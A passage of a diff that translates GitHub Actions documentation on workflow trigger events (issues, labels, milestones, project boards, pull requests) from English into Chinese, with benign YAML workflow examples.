| 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issue_comment)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issue_comment)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when an issue or pull request comment is created, edited, or deleted. For information about the issue comment APIs, see "[IssueComment](/graphql/reference/objects#issuecomment)" in the GraphQL API documentation or "[Issue comments](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)" in the REST API documentation. +在创建、编辑或删除议题或拉取请求评论时运行工作流程。 有关问题注释 API 的信息,请参阅 GraphQL API 文档中的“[IssueComment](/graphql/reference/objects#issuecomment)”或 REST API 文档中的“[问题注释](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)”。 -For example, you can run a workflow when an issue or pull request comment has been `created` or `deleted`. +例如,可以在问题或拉取请求注释的状态为 `created` 或 `deleted` 时运行工作流。 ```yaml on: @@ -298,11 +303,11 @@ on: types: [created, deleted] ``` -#### `issue_comment` on issues only or pull requests only +#### 仅问题或仅拉取请求的 `issue_comment` -The `issue_comment` event occurs for comments on both issues and pull requests. You can use the `github.event.issue.pull_request` property in a conditional to take different action depending on whether the triggering object was an issue or pull request. +对于问题和拉取请求的注释,都会发生 `issue_comment` 事件。 可以在条件中使用 `github.event.issue.pull_request` 属性,根据触发对象是问题还是拉取请求来执行不同的操作。 -For example, this workflow will run the `pr_commented` job only if the `issue_comment` event originated from a pull request. It will run the `issue_commented` job only if the `issue_comment` event originated from an issue. +例如,仅当 `issue_comment` 事件源自拉取请求时,此工作流才会运行 `pr_commented` 作业。 仅当 `issue_comment` 事件源自问题时,才会运行 `issue_commented` 作业。 ```yaml on: issue_comment @@ -333,21 +338,21 @@ jobs: ### `issues` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`issues`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#issues) | - `opened`
- `edited`
- `deleted`
- `transferred`
- `pinned`
- `unpinned`
- `closed`
- `reopened`
- `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `locked`
- `unlocked`
- `milestoned`
- `demilestoned` | Last commit on default branch | Default branch | +| [`issues`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#issues) | - `opened`
- `edited`
- `deleted`
- `transferred`
- `pinned`
- `unpinned`
- `closed`
- `reopened`
- `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `locked`
- `unlocked`
- `milestoned`
- `demilestoned` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issues)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#issues)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when an issue in the workflow's repository is created or modified. For activity related to comments in an issue, use the [`issue_comment`](#issue_comment) event. For more information about issues, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)." For information about the issue APIs, see "[Issue](/graphql/reference/objects#issue)" in the GraphQL API documentation or "[Issues](/rest/reference/issues)" in the REST API documentation. +在创建或修改工作流程存储库中的议题时运行工作流程。 对于与问题中的注释相关的活动,请使用 [`issue_comment`](#issue_comment) 事件。 有关问题的详细信息,请参阅“[关于问题](/issues/tracking-your-work-with-issues/about-issues)”。 有关问题 API 的信息,请参阅 GraphQL API 文档中的“[问题](/graphql/reference/objects#issue)”或 REST API 文档中的“[问题](/rest/reference/issues)”。 -For example, you can run a workflow when an issue has been `opened`, `edited`, or `milestoned`. +例如,可以在问题状态为 `opened`、`edited` 或 `milestoned` 时运行工作流。 ```yaml on: @@ -357,23 +362,23 @@ on: ### `label` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`label`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#label) | - `created`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | +| [`label`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#label) | - `created`
- `edited`
- `deleted`
| 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#label)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#label)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when a label in your workflow's repository is created or modified. For more information about labels, see "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)." For information about the label APIs, see "[Label](/graphql/reference/objects#label)" in the GraphQL API documentation or "[Labels](/rest/reference/issues#labels)" in the REST API documentation. +在创建或修改工作流程存储库中的标签时运行工作流程。 有关标签的详细信息,请参阅[管理标签](/issues/using-labels-and-milestones-to-track-work/managing-labels)。 有关标签 API 的信息,请参阅 GraphQL API 文档中的“[标签](/graphql/reference/objects#label)”或 REST API 文档中的“[标签](/rest/reference/issues#labels)”。 -If you want to run your workflow when a label is added to or removed from an issue, pull request, or discussion, use the `labeled` or `unlabeled` activity types for the [`issues`](#issues), [`pull_request`](#pull_request), [`pull_request_target`](#pull_request_target), or [`discussion`](#discussion) events instead. +如果要在问题、拉取请求或讨论中添加或删除标签时运行工作流,请针对 [`issues`](#issues)、[`pull_request`](#pull_request)、[`pull_request_target`](#pull_request_target) 或 [`discussion`](#discussion) 事件改用 `labeled` 或 `unlabeled` 活动类型。 -For example, you can run a workflow when a label has been `created` or `deleted`. +例如,可以在标签状态为 `created` 或 `deleted` 时运行工作流。 ```yaml on: @@ -385,21 +390,21 @@ on: ### `merge_group` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`merge_group`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#merge_group) | `checks_requested` | SHA of the merge group | Ref of the merge group | +| [`merge_group`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#merge_group) | `checks_requested` | 合并组的 SHA | 合并组的引用 | {% data reusables.pull_requests.merge-queue-beta %} {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} Although only the `checks_requested` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#merge_group)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 尽管仅支持 `checks_requested` 活动类型,但如果将来添加更多活动类型,则指定活动类型将使工作流保持特定。 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#merge_group)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} -Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For more information see "[Merging a pull request with a merge queue](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue)". +将拉取请求添加到合并队列时运行工作流,将拉取请求添加到合并组。 有关详细信息,请参阅“[将拉取请求与合并队列合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue)”。 -For example, you can run a workflow when the `checks_requested` activity has occurred. +例如,可以在发生 `checks_requested` 活动时运行工作流。 ```yaml on: @@ -411,23 +416,23 @@ on: {% endif %} ### `milestone` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`milestone`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#milestone) | - `created`
- `closed`
- `opened`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | +| [`milestone`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#milestone) | - `created`
- `closed`
- `opened`
- `edited`
- `deleted`
| 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#milestone)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#milestone)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} {% data reusables.actions.branch-requirement %} -Runs your workflow when a milestone in the workflow's repository is created or modified. For more information about milestones, see "[About milestones](/issues/using-labels-and-milestones-to-track-work/about-milestones)." For information about the milestone APIs, see "[Milestone](/graphql/reference/objects#milestone)" in the GraphQL API documentation or "[Milestones](/rest/reference/issues#milestones)" in the REST API documentation. +在创建或修改工作流程存储库中的里程碑时运行工作流程。 有关里程碑的详细信息,请参阅“[关于里程碑](/issues/using-labels-and-milestones-to-track-work/about-milestones)”。 有关里程碑 API 的信息,请参阅 GraphQL API 文档中的“[里程碑](/graphql/reference/objects#milestone)”或 REST API 文档中的“[里程碑](/rest/reference/issues#milestones)”。 -If you want to run your workflow when an issue is added to or removed from a milestone, use the `milestoned` or `demilestoned` activity types for the [`issues`](#issues) event instead. +若想要在将问题添加到里程碑或从里程碑中删除问题时运行工作流,请针对 [`issues`](#issues) 事件改用 `milestoned` 或 `demilestoned` 活动类型。 -For example, you can run a workflow when a milestone has been `opened` or `deleted`. +例如,可以在里程碑状态为 `opened` 或 `deleted` 时运行工作流。 ```yaml on: @@ -437,15 +442,15 @@ on: ### `page_build` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`page_build`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#page_build) | n/a | Last commit on default branch | n/a | +| [`page_build`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#page_build) | 不适用 | 默认分支上的最新提交 | 不适用 | {% data reusables.actions.branch-requirement %} -Runs your workflow when someone pushes to a branch that is the publishing source for {% data variables.product.prodname_pages %}, if {% data variables.product.prodname_pages %} is enabled for the repository. For more information about {% data variables.product.prodname_pages %} publishing sources, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." For information about the REST API, see "[Pages](/rest/reference/repos#pages)." +当有人推送到作为 {% data variables.product.prodname_pages %} 的发布源的分支时,如果为存储库启用了 {% data variables.product.prodname_pages %} ,则运行工作流程。 有关 {% data variables.product.prodname_pages %} 发布源的详细信息,请参阅“[为 GitHub Pages 站点配置发布源](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)”。 有关 REST API 的信息,请参阅“[Pages](/rest/reference/repos#pages)”。 -For example, you can run a workflow when the `page_build` event occurs. +例如,可以在发生 `page_build` 事件时运行工作流。 ```yaml on: @@ -454,13 +459,13 @@ on: ### `project` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`project`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project) | - `created`
- `closed`
- `reopened`
- `edited`
- `deleted`
| Last commit on default branch | Default branch | +| [`project`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project) | - `created`
- `closed`
- `reopened`
- `edited`
- `deleted`
| 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} The `edited` activity type refers to when a project board, not a column or card on the project board, is edited. For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} `edited` 活动类型是指编辑项目板(而不是项目板上的列或卡片)。 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} @@ -468,21 +473,19 @@ on: {% note %} -**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. +注意:此事件仅对工作流存储库拥有的项目发生,对于组织拥有或用户拥有的项目,或者对于其他存储库拥有的项目,不会发生此事件。 {% endnote %} -{% ifversion fpt or ghec %} -{% note %} +{% ifversion fpt or ghec %} {% note %} -**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}. +注意:此事件仅适用于 {% data variables.product.prodname_projects_v1 %}。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -Runs your workflow when a project board is created or modified. For activity related to cards or columns in a project board, use the [`project_card`](#project_card) or [`project_column`](#project_column) events instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project board APIs, see "[Project](/graphql/reference/objects#project)" in the GraphQL API documentation or "[Projects](/rest/reference/projects)" in the REST API documentation. +在创建或修改项目板时运行工作流程。 对于与项目板中的卡片或列相关的活动,请改用 [`project_card`](#project_card) 或 [`project_column`](#project_column) 事件。 有关项目板的详细信息,请参阅“[关于项目板](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)”。 有关项目板 API 的信息,请参阅 GraphQL API 文档中的“[项目](/graphql/reference/objects#project)”或 REST API 文档中的“[项目](/rest/reference/projects)”。 -For example, you can run a workflow when a project has been `created` or `deleted`. +例如,可以在项目状态为 `created` 或 `deleted` 时运行工作流。 ```yaml on: @@ -492,13 +495,13 @@ on: ### `project_card` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`project_card`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_card) | - `created`
- `moved`
- `converted` to an issue
- `edited`
- `deleted` | Last commit on default branch | Default branch | +| [`project_card`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_card) | - `created`
- `moved`
- `converted` 到问题
- `edited`
- `deleted` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_card)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_card)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} @@ -506,21 +509,19 @@ on: {% note %} -**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. +注意:此事件仅对工作流存储库拥有的项目发生,对于组织拥有或用户拥有的项目,或者对于其他存储库拥有的项目,不会发生此事件。 {% endnote %} -{% ifversion fpt or ghec %} -{% note %} +{% ifversion fpt or ghec %} {% note %} -**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}. +注意:此事件仅适用于 {% data variables.product.prodname_projects_v1 %}。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -Runs your workflow when a card on a project board is created or modified. For activity related to project boards or columns in a project board, use the [`project`](#project) or [`project_column`](#project_column) event instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project card APIs, see "[ProjectCard](/graphql/reference/objects#projectcard)" in the GraphQL API documentation or "[Project cards](/rest/reference/projects#cards)" in the REST API documentation. +在创建或修改项目板上的卡片时运行工作流程。 对于与项目板或项目板中的列相关的活动,请改用 [`project`](#project) 或 [`project_column`](#project_column) 事件。 有关项目板的详细信息,请参阅“[关于项目板](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)”。 有关项目卡片 API 的信息,请参阅 GraphQL API 文档中的“[ProjectCard](/graphql/reference/objects#projectcard)”或 REST API 文档中的“[项目卡片](/rest/reference/projects#cards)”。 -For example, you can run a workflow when a project card has been `created` or `deleted`. +例如,可以在项目卡片的状态为 `created` 或 `deleted` 时运行工作流。 ```yaml on: @@ -530,13 +531,13 @@ on: ### `project_column` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`project_column`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_column) | - `created`
- `updated`
- `moved`
- `deleted` | Last commit on default branch | Default branch | +| [`project_column`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#project_column) | - `created`
- `updated`
- `moved`
- `deleted` | 默认分支上的最新提交 | 默认分支 | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_column)." {% data reusables.developer-site.limit_workflow_to_activity_types %} +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#project_column)”。 {% data reusables.developer-site.limit_workflow_to_activity_types %} {% endnote %} @@ -544,21 +545,19 @@ on: {% note %} -**Note**: This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. +注意:此事件仅对工作流存储库拥有的项目发生,对于组织拥有或用户拥有的项目,或者对于其他存储库拥有的项目,不会发生此事件。 {% endnote %} -{% ifversion fpt or ghec %} -{% note %} +{% ifversion fpt or ghec %} {% note %} -**Note**: This event only occurs for {% data variables.product.prodname_projects_v1 %}. +注意:此事件仅适用于 {% data variables.product.prodname_projects_v1 %}。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -Runs your workflow when a column on a project board is created or modified. For activity related to project boards or cards in a project board, use the [`project`](#project) or [`project_card`](#project_card) event instead. For more information about project boards, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." For information about the project column APIs, see "[Project Column](/graphql/reference/objects#projectcolumn)" in the GraphQL API documentation or "[Project columns](/rest/reference/projects#columns)" in the REST API documentation. +在创建或修改项目板上的列时运行工作流程。 对于与项目板或项目板中的卡片相关的活动,请改用 [`project`](#project) 或 [`project_card`](#project_card) 事件。 有关项目板的详细信息,请参阅“[关于项目板](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)”。 有关项目列 API 的信息,请参阅 GraphQL API 文档中的“[项目列](/graphql/reference/objects#projectcolumn)”或 REST API 文档中的“[项目列](/rest/reference/projects#columns)”。 -For example, you can run a workflow when a project column has been `created` or `deleted`. +例如,可以在项目列的状态为 `created` 或 `deleted` 时运行工作流。 ```yaml on: @@ -568,15 +567,15 @@ on: ### `public` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`public`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#public) | n/a | Last commit on default branch | Default branch | +| [`public`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#public) | 不适用 | 默认分支上的最新提交 | 默认分支 | {% data reusables.actions.branch-requirement %} -Runs your workflow when your workflow's repository changes from private to public. For information about the REST API, see "[Edit repositories](/rest/reference/repos#edit)." +当工作流程的存储库从私有变为公共时运行工作流程。 有关 REST API 的信息,请参阅“[编辑存储库](/rest/reference/repos#edit)”。 -For example, you can run a workflow when the `public` event occurs. +例如,可以在发生 `public` 事件时运行工作流。 ```yaml on: @@ -585,29 +584,29 @@ on: ### `pull_request` -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | +| Web 挂钩事件有效负载 | 活动类型 | `GITHUB_SHA` | `GITHUB_REF` | | --------------------- | -------------- | ------------ | -------------| -| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `opened`
- `edited`
- `closed`
- `reopened`
- `synchronize`
- `converted_to_draft`
- `ready_for_review`
- `locked`
- `unlocked`
- `review_requested`
- `review_request_removed`
- `auto_merge_enabled`
- `auto_merge_disabled` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` | +| [`pull_request`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads/#pull_request) | - `assigned`
- `unassigned`
- `labeled`
- `unlabeled`
- `opened`
- `edited`
- `closed`
- `reopened`
- `synchronize`
- `converted_to_draft`
- `ready_for_review`
- `locked`
- `unlocked`
- `review_requested`
- `review_request_removed`
- `auto_merge_enabled`
- `auto_merge_disabled` | `GITHUB_REF` 分支上的最后一次合并提交 | PR 合并分支 `refs/pull/:prNumber/merge` | {% note %} -**Note**: {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request)." By default, a workflow only runs when a `pull_request` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)." +注意:{% data reusables.developer-site.multiple_activity_types %} 有关每个活动类型的信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request)”。 默认情况下,工作流仅在 `pull_request` 事件的活动类型为 `opened`、`synchronize` 或 `reopened` 时运行。 要按不同的活动类型触发工作流,请使用 `types` 关键字。 有关详细信息,请参阅“[{% data variables.product.prodname_actions %} 的工作流语法](/articles/workflow-syntax-for-github-actions#onevent_nametypes)”。 {% endnote %} {% note %} -**Note:** Workflows will not run on `pull_request` activity if the pull request has a merge conflict. The merge conflict must be resolved first. +注意:如果拉取请求存在合并冲突,工作流将不会在 `pull_request` 活动上运行。 必须先解决合并冲突。 -Conversely, workflows with the `pull_request_target` event will run even if the pull request has a merge conflict. Before using the `pull_request_target` trigger, you should be aware of the security risks. For more information, see [`pull_request_target`](#pull_request_target). +相反,具有 `pull_request_target` 事件的工作流将运行,即使拉取请求存在合并冲突也是如此。 在使用 `pull_request_target` 触发器之前,应注意安全风险。 有关详细信息,请参阅 [`pull_request_target`](#pull_request_target)。 {% endnote %} -Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated. For activity related to pull request reviews, pull request review comments, or pull request comments, use the [`pull_request_review`](#pull_request_review), [`pull_request_review_comment`](#pull_request_review_comment), or [`issue_comment`](#issue_comment) events instead. For information about the pull request APIs, see "[PullRequest](/graphql/reference/objects#pullrequest)" in the GraphQL API documentation or "[Pull requests](/rest/reference/pulls)" in the REST API documentation. +在工作流程存储库中发生有关拉取请求的活动时运行工作流程。 例如,如果未指定任何活动类型,则工作流程将在打开或重新打开拉取请求时运行,或者在更新拉取请求的头部分支时运行。 对于与拉取请求审查、拉取请求审查注释或拉取请求注释相关的活动,请改用 [`pull_request_review`](#pull_request_review)、[`pull_request_review_comment`](#pull_request_review_comment) 或 [`issue_comment`](#issue_comment) 事件。 有关拉取请求 API 的信息,请参阅 GraphQL API 文档中的“[PullRequest](/graphql/reference/objects#pullrequest)”或 REST API 文档中的“[拉取请求](/rest/reference/pulls)”。 -Note that `GITHUB_SHA` for this event is the last merge commit of the pull request merge branch. If you want to get the commit ID for the last commit to the head branch of the pull request, use `github.event.pull_request.head.sha` instead. +请注意,此事件的 `GITHUB_SHA` 是拉取请求合并分支的最后一个合并提交。 如果要获取最后一次提交到拉取请求的头部分支的提交 ID,请改用 `github.event.pull_request.head.sha`。 -For example, you can run a workflow when a pull request has been opened or reopened. +例如,您可以在打开或重新打开拉取请求时运行工作流程。 ```yaml on: @@ -615,7 +614,7 @@ on: types: [opened, reopened] ``` -You can use the event context to further control when jobs in your workflow will run. For example, this workflow will run when a review is requested on a pull request, but the `specific_review_requested` job will only run when a review by `octo-team` is requested. +您可以使用事件上下文进一步控制工作流程中作业的运行时间。 例如,当请求对拉取请求进行审查时,将运行此工作流,但 `specific_review_requested` 作业仅在请求 `octo-team` 审查时运行。 ```yaml on: @@ -629,11 +628,11 @@ jobs: - run: echo 'A review from octo-team was requested' ``` -#### Running your workflow based on the head or base branch of a pull request +#### 基于拉取请求的头部分支或基本分支运行工作流程 -You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)." +可以使用 `branches` 或 `branches-ignore` 筛选器配置工作流,使其仅在面向特定分支的拉取请求上运行。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore)”。 -For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`: +例如,当有人打开面向名称以 `releases/` 开头的分支的拉取请求时,此工作流将运行: ```yaml on: @@ -646,7 +645,7 @@ on: {% note %} -**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: +注意:{% data reusables.actions.branch-paths-filter %} 例如,仅当在名称以 `releases/` 开头的分支上打开包含 JavaScript (`.js`) 文件更改的拉取请求时,才会运行以下工作流: ```yaml on: @@ -661,7 +660,7 @@ on: {% endnote %} -To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`: +要基于拉取请求的头部分支名称(而不是拉取请求的基本分支名称)运行作业,请在条件中使用 `github.head_ref` 上下文。 例如,每当打开拉取请求时,此工作流都会运行,但仅当拉取请求的头部是名称以 `releases/` 开头的分支时,才会执行 `run_if` 作业: ```yaml on: @@ -676,11 +675,11 @@ jobs: - run: echo "The head of this PR starts with 'releases/'" ``` -#### Running your workflow based on files changed in a pull request +#### 根据拉取请求中更改的文件运行工作流程 -You can also configure your workflow to run when a pull request changes specific files. For more information, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)." +您还可以将工作流程配置为在拉取请求更改特定文件时运行。 有关详细信息,请参阅“[GitHub Actions 的工作流语法](/actions/learn-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)”。 -For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`): +例如,当拉取请求包含对 JavaScript 文件 (`.js`) 的更改时,此工作流将运行: ```yaml on: @@ -691,7 +690,7 @@ on: {% note %} -**Note:** {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: +注意:{% data reusables.actions.branch-paths-filter %} 例如,仅当在名称以 `releases/` 开头的分支上打开包含 JavaScript (`.js`) 文件更改的拉取请求时,才会运行以下工作流: ```yaml on: @@ -706,9 +705,9 @@ on: {% endnote %} -#### Running your workflow when a pull request merges +#### 在拉取请求合并时运行工作流程 -When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged. +当拉取请求合并时,拉取请求将自动关闭。 要在拉取请求合并时运行工作流,请使用 `pull_request` `closed` 事件类型以及检查事件 `merged` 值的条件。 例如,每当拉取请求关闭时,将运行以下工作流程。 仅当拉取请求也合并时,`if_merged` 作业才会运行。 ```yaml on: @@ -727,25 +726,25 @@ jobs: {% data reusables.developer-site.pull_request_forked_repos_link %} -### `pull_request_comment` (use `issue_comment`) +### `pull_request_comment`(使用 `issue_comment`) -To run your workflow when a comment on a pull request (not on a pull request's diff) is created, edited, or deleted, use the [`issue_comment`](#issue_comment) event. For activity related to pull request reviews or pull request review comments, use the [`pull_request_review`](#pull_request_review) or [`pull_request_review_comment`](#pull_request_review_comment) events. +要在创建、编辑或删除对拉取请求(而不是拉取请求的差异)的注释时运行工作流,请使用 